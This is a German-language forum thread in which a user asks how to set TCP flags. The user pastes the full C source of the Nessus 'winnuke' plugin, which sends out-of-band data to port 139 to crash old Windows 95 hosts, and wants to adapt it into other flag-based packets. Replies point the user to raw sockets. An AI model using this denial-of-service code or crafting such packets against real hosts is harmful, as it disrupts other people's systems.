TCP Flag setzen
-
hi
gibt es irgendwo ein guter code, wo ich perfekt lernen kann wie ich die verschiedenen TCP Flags setzen kann??
gb
-
-
-
jo das zweite kenne ich schon aber dort habe ich irgendwie nicht so viel über die flags, oder kein code.
ich stelle mir irgendwie so etwas ähnliches vor wie das winnuke
#include <includes.h> #include <nessusraw.h> #define NAME "winnuke" #define DESC "This plugin sends a message out of band to the port 139 of a \ Windows95 machine, and attempts to crash it" #define COPYRIGHT "no copyright" #define SUMM "Windows denial of service using OOB msg on port 139" PlugExport int plugin_init(struct arglist *desc); PlugExport int plugin_init(struct arglist *desc) { plug_set_name(desc, NAME); plug_set_description(desc, DESC); plug_set_summary(desc, SUMM); plug_set_copyright(desc, COPYRIGHT); plug_set_category(desc, ACT_DENIAL); plug_set_family(desc, "Denial of Service"); return(0); } PlugExport int plugin_run(struct arglist * env); PlugExport int plugin_run(struct arglist * env) { int soc; char * data; int ping; struct in_addr * p_addr = plug_get_host_ip(env); if(!host_get_port_state(env, 139))return(0); ping = tcp_ping_host(*p_addr); soc = open_sock_tcp(env, 139); if(soc<0)return(0); data = emalloc(10); memset(data, 'X', 8); data[9]='\n'; send(soc, data, strlen(data), MSG_OOB); [b]und dann hier so etwas ähnliches hineinschreiben wie MSG_SYN, oder geht das nicht so einfach?[/b] efree(&data); socket_close(soc); if(ping)ping = tcp_ping_host(*p_addr); else ping = (soc = open_sock_tcp(env, 139))<0?0:1; if(!ping) { post_hole(env, 139, "We could lead the remote host to a denial of \ service by sending it a message out of band on port 139"); } else socket_close(soc); return(0); }
oder hat mir jemand nen fertigen code, ein bisschen zum testen!
gb
-
Winnuke is ja nichts anderes, als ein Paket mit gesetztem URG-Flag, welches an Port 139 (NetBIOS) gesendet wird. Es gibt ja "nur" 6 bei TCP, und bestimmte Kombinationen dieser Flags, Portnummern und Anzahl der gesendeten Pakete in einer bestimmten Zeit ergeben den ein oder anderen Hack. Du musst dir einfach mal angucken, was MSG_OOB genau macht (wird ja irgendwo definiert sein).
-
hi
ich weiss schon was OOB macht aber mein problem ist wie kann ich die restliche flags an ein packet anhängen und das ganze versenden????
gb
-
Hi,
Du must den TCP-Header drauf-casten und die Flags oder-verknüpft setzen.
Uuups du hast ja garkeinen Zugriff auf das ganze Packet. Kannst ja nur den Payload angeben. Hmm was machen wir denn da ? ??
Wie wärs wenn du dir das Packet selbst zusammen baust, dann hast du volle Kontrolle. Stichwort raw-sockets.
Nettes nessus-plugin ....funktioniert aber bei den neueren Implementation nicht mehr.